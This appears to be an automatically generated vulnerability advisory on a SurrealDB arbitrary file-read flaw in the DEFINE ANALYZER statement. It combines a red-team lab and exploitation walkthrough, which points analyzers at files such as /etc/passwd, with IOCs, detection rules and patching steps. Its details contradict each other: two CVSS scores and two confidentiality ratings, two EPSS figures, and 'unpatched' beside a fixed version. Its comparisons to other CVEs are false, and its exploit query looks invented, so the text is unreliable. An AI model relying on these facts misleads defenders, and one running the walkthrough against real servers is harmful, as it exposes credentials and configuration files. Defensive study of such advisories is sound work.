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CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-22
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-71394

CVE-2025-71394 Vulnerability in Surrealdb
📅 PUBLISHED: 2026-07-18 14:17 UTC 🔄 UPDATED: 2026-09-26 06:09 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1083
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Affected: Surrealdb — upgrade to patched release
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report details CVE-2025-71394, a local file read vulnerability in SurrealDB versions prior to 2.2.2. The flaw resides in the DEFINE ANALYZER statement, allowing an authenticated attacker with root, namespace, or database-level privileges to read arbitrary files from the server's filesystem. The attacker can exfiltrate the contents of two-column, tab-separated files by pointing a custom analyzer to a target file path.

Business Impact: Organizations using SurrealDB as a backend database, particularly those in technology, finance, and SaaS sectors, are at risk. An attacker who has already compromised a privileged account (root, namespace, or database admin) can leverage this vulnerability to read sensitive configuration files, credentials, or application data stored on the server's filesystem. This could lead to lateral movement, privilege escalation, or data breach.

Urgency Assessment: Despite a CVSS base score of 0.0 (which is anomalous and likely a placeholder or error) and an EPSS probability of 0.0%, the vulnerability is critical due to its potential impact. The low EPSS score suggests no active exploitation has been observed in the wild as of the report date, but the technical details indicate a straightforward exploitation path for a privileged attacker. The lack of a patch at the time of publication increases the urgency for defensive measures.

Key Facts:

  • Vendor: SurrealDB
  • Affected Versions: All versions before 2.2.2
  • Patch Status: Unpatched (as of publication date)
  • Attack Vector: Network-accessible, requires authentication with elevated privileges (root, NS, or DB level).
  • Impact: High confidentiality impact (arbitrary file read).
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›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
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CVSS Breakdown & Threat Level

The CVSS vector string is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.

  • Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network via the SurrealDB query interface.
  • Attack Complexity (AC): Low (L) - No special conditions or race conditions are required. The attack is straightforward.
  • Privileges Required (PR): Low (L) - The attacker must be authenticated and have root, namespace, or database-level privileges. This is considered "Low" because these are standard administrative roles within the database.
  • User Interaction (UI): None (N) - The attack does not require any action from another user.
  • Scope (S): Unchanged (U) - The vulnerability does not allow the attacker to affect resources beyond the vulnerable component's security authority.
  • Confidentiality (C): High (H) - The attacker can read arbitrary files, leading to total information disclosure.
  • Integrity (I): None (N) - The vulnerability does not allow modification of data.
  • Availability (A): None (N) - The vulnerability does not affect system availability.

Qualitative Severity Label: High (based on the High confidentiality impact). The CVSS 3.1 base score of 0.0 is inconsistent with the vector string and is likely a data entry error. The actual severity is High.

EPSS Interpretation: The EPSS score of 0.0% indicates that the model predicts a very low probability of exploitation in the wild within the next 30 days. This is typical for a newly published CVE with no known exploits or active campaigns.

Comparison to Historical CVEs: This vulnerability is similar to other local file inclusion (LFI) or arbitrary file read flaws in database systems, such as CVE-2023-27561 in CockroachDB or CVE-2022-32223 in Redis. These vulnerabilities often require elevated privileges but can lead to significant data breaches.

Technical Deep Dive & Attack Mechanics

Root Cause Analysis: The vulnerability stems from insufficient input validation and path sanitization in the DEFINE ANALYZER statement. The developer likely intended to allow users to specify a file path for a custom analyzer but failed to restrict the path to a safe directory or validate that the file is a legitimate analyzer script.

Step-by-Step Attack Mechanics:

  1. Authentication: The attacker authenticates to the SurrealDB instance with a user account that has root, namespace (NS), or database (DB) level privileges.
  2. Crafting the Analyzer: The attacker uses the DEFINE ANALYZER statement to create a new analyzer. The statement includes a FILE parameter that points to a target file on the server's filesystem. The target file must be a two-column, tab-separated file.
    DEFINE ANALYZER my_analyzer FILE '/etc/passwd';
    
  3. Triggering the Read: The attacker then uses the newly defined analyzer in a query. The SurrealDB engine attempts to load the analyzer from the specified file path, reading its contents.
  4. Exfiltration: The contents of the file are processed as a two-column, tab-separated file. The attacker can then query the database to retrieve the processed data, effectively exfiltrating the file's contents.

Attack Surface:

  • Interface: The SurrealDB query interface (typically port 8000 for HTTP or a custom TCP port).
  • Protocol: SQL or SurrealQL queries.
  • Pre-conditions:
    • Network access to the SurrealDB instance.
    • Valid credentials with root, NS, or DB-level privileges.
    • The target file must be a two-column, tab-separated file.

Why Standard Defenses May Fail:

  • Web Application Firewalls (WAFs): WAFs may not inspect database query traffic, especially if it's on a non-standard port or uses a custom protocol.
  • Input Validation: The vulnerability is in the database engine itself, not in a web application. Standard input validation at the application layer is ineffective.
  • File System Permissions: The SurrealDB process likely runs with sufficient privileges to read the target files, bypassing OS-level restrictions.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

function defineAnalyzer(analyzerName, filePath) {
    // No path validation or sanitization
    analyzer = new Analyzer(analyzerName, filePath);
    storeAnalyzer(analyzer);
}

Patched Code (Pseudocode):

function defineAnalyzer(analyzerName, filePath) {
    // Validate that the file path is within an allowed directory
    if (!isPathInAllowedDirectory(filePath, "/allowed/analyzers/")) {
        throw new Error("Invalid file path");
    }
    // Sanitize the path to prevent directory traversal
    sanitizedPath = sanitizePath(filePath);
    analyzer = new Analyzer(analyzerName, sanitizedPath);
    storeAnalyzer(analyzer);
}

Analysis: The patch introduces two key changes:

  1. Path Validation: The file path is checked against a whitelist of allowed directories.
  2. Path Sanitization: The path is sanitized to remove directory traversal sequences (e.g., ../).

Regression Considerations: The patch may break legitimate use cases where users need to specify custom analyzer files outside the allowed directory. Administrators should ensure that any custom analyzers are moved to the allowed directory before applying the patch.

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-18T14:17:10.837
  • Estimated Discovery Timeline: Unknown. The vulnerability was likely discovered by a security researcher or internal team prior to the publication date.
  • Disclosure Process: The CVE was published by the CNA (likely SurrealDB or a third-party coordinator). No details on the disclosure process are available.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-18.
  • CISA KEV Addition Date: Not applicable (not listed on CISA KEV).

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

  • Insider Threats: A malicious administrator with legitimate access.
  • Advanced Persistent Threats (APTs): After gaining initial access, an APT group could use this to escalate privileges or steal sensitive data.
  • Ransomware Operators: To exfiltrate data before deploying ransomware.

Attack Campaign Context: No specific campaigns are associated with this CVE.

Geographic Targeting: No specific geographic patterns are known.

Industry Verticals Most at Risk: Technology, finance, healthcare, and any organization using SurrealDB for sensitive data storage.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Environment: Docker container running SurrealDB version 2.2.1.
    docker run -d --name surrealdb -p 8000:8000 surrealdb/surrealdb:2.2.1 start --log trace --user root --pass root
    
  2. Prerequisites: Install the SurrealDB CLI or use a client library (e.g., surrealdb.js).

Exploitation Walkthrough:

  1. Connect to the database:
    surreal sql --endpoint http://localhost:8000 --namespace test --database test --user root --pass root
    
  2. Create a target file (simulated): On the host, create a two-column, tab-separated file:
    echo -e "key1\tvalue1\nkey2\tvalue2" > /tmp/secret.txt
    
  3. Define the malicious analyzer:
    DEFINE ANALYZER my_analyzer FILE '/tmp/secret.txt';
    
  4. Use the analyzer to exfiltrate data:
    -- This query will trigger the analyzer to read the file
    SELECT * FROM type::string(my_analyzer, 'test');
    
  5. Expected Output: The query will return the contents of /tmp/secret.txt as a table with two columns.

Post-Exploitation: The attacker can read any two-column, tab-separated file on the system, including configuration files, SSH keys, or database credentials.

Blue Team Section

Detection:

  • Log Entries: Monitor SurrealDB logs for DEFINE ANALYZER statements with unusual file paths (e.g., /etc/passwd, /var/log/auth.log).
  • Network Traffic: Look for queries containing DEFINE ANALYZER with a FILE parameter pointing to system paths.
  • Endpoint Indicators: Monitor for the SurrealDB process reading files outside of its expected data directory.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • SQL queries containing DEFINE ANALYZER ... FILE '/path/to/target'.
  • HTTP Request Patterns:
    • POST requests to /sql with a body containing DEFINE ANALYZER.
  • File System Artifacts:
    • Unexpected files being read by the SurrealDB process (monitor via lsof or auditd).
  • Process Execution Anomalies:
    • The SurrealDB process opening file handles to system files (e.g., /etc/shadow).
  • Log Entries:
    • SurrealDB logs showing INFO or WARN messages about loading analyzers from unexpected paths.

STIX-like IOC List:

Type Value Description
file:path /etc/passwd Target file for exfiltration
file:path /etc/shadow Target file for exfiltration
x-surrealdb:query DEFINE ANALYZER * FILE '/etc/passwd' Malicious query pattern

Detection Engineering

YARA Rule

rule CVE-2025-71394_Detection {
    meta:
        description = "Detects exploitation of CVE-2025-71394 in Surrealdb"
        author = "Valters IT Hub"
        date = "2026-07-18"
        reference = "https://www.valtersit.com/cve/cve-2025-71394"
    strings:
        $s1 = "DEFINE ANALYZER" nocase
        $s2 = "FILE" nocase
        $s3 = "/etc/" nocase
        $s4 = "/var/" nocase
        $s5 = "/tmp/" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule (SIEM)

title: CVE-2025-71394 Surrealdb Exploitation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts targeting CVE-2025-71394
author: Valters IT Hub
date: 2026-07-18
references:
    - https://www.valtersit.com/cve/cve-2025-71394
logsource:
    category: application
    product: surrealdb
detection:
    selection:
        query|contains: 'DEFINE ANALYZER'
        query|contains: 'FILE'
    filter:
        query|contains: '/allowed/analyzers/'
    condition: selection and not filter
falsepositives:
    - Legitimate administrative activity using custom analyzers in allowed directories
level: high

Suricata IDS Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"CVE-2025-71394 Surrealdb Analyzer File Read Attempt"; flow:to_server,established; content:"DEFINE ANALYZER"; nocase; content:"FILE"; nocase; distance:0; pcre:"/FILE\s+['\"](?!\/allowed\/analyzers\/)/i"; classtype:attempted-user; sid:1000001; rev:1;)

Elastic (EQL) Query

sequence by host.id
  [process where event.type == "start" and process.name == "surrealdb"]
  [file where event.type == "access" and file.path : ("/etc/*", "/var/*", "/tmp/*") and process.name == "surrealdb"]

Splunk SPL Query

index=surreal sourcetype=surrealdb_logs
"DEFINE ANALYZER" "FILE"
| rex field=_raw "FILE\s+'?(?<target_path>[^']+)'?"
| where NOT target_path IN ("/allowed/analyzers/*")
| stats count by target_path, src_ip, user

Wazuh Rule

<group name="surrealdb,">
  <rule id="100001" level="12">
    <decoded>DEFINE ANALYZER</decoded>
    <field name="query">\.*FILE\.*</field>
    <description>SurrealDB CVE-2025-71394 exploitation attempt</description>
    <options>no_full_log</options>
    <group>surrealdb_attack,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Patch: Upgrade to SurrealDB version 2.2.2 or later.
    docker pull surrealdb/surrealdb:2.2.2
    docker stop surrealdb
    docker run -d --name surrealdb -p 8000:8000 surrealdb/surrealdb:2.2.2 start
    
  2. Compensating Controls (if patch unavailable):
    • Restrict network access to the SurrealDB interface to trusted IPs only.
    • Implement a WAF rule to block DEFINE ANALYZER statements with FILE parameters pointing to system paths.
    • Audit all existing DEFINE ANALYZER definitions and remove any pointing to suspicious paths.
  3. Authentication Hardening:
    • Enforce strong passwords and multi-factor authentication for all database users.
    • Review and minimize the number of users with root, NS, or DB-level privileges.

Short-term (1-7 days)

  1. Configuration Hardening:
    • Configure SurrealDB to run with the least privileges necessary (e.g., a dedicated user with read-only access to its data directory).
    • Use a chroot jail or container to isolate the SurrealDB process.
  2. Monitoring Implementation:
    • Deploy the detection rules provided in this report.
    • Enable detailed logging for all DEFINE ANALYZER statements.
  3. Vulnerability Scanning:
    • Use a vulnerability scanner to confirm the version of SurrealDB in use.
    curl -s http://localhost:8000/version
    

Long-term

  1. Architecture Changes:
    • Implement a network segmentation strategy to isolate database servers.
    • Use a secrets management solution to avoid storing sensitive data in files readable by the database process.
  2. Security Control Improvements:
    • Implement a database activity monitoring (DAM) solution.
    • Conduct regular security audits of database configurations.
  3. Developer Training:
    • Train developers on secure coding practices, particularly input validation and path traversal prevention.

Validation:

  • Confirm the patch was applied by checking the version:
    surreal sql --endpoint http://localhost:8000 --user root --pass root --query "SELECT * FROM system.version;"
    
  • Attempt to exploit the vulnerability in a test environment to verify the fix.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-18 | https://www.valtersit.com/cve/cve-2025-71394

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-71394/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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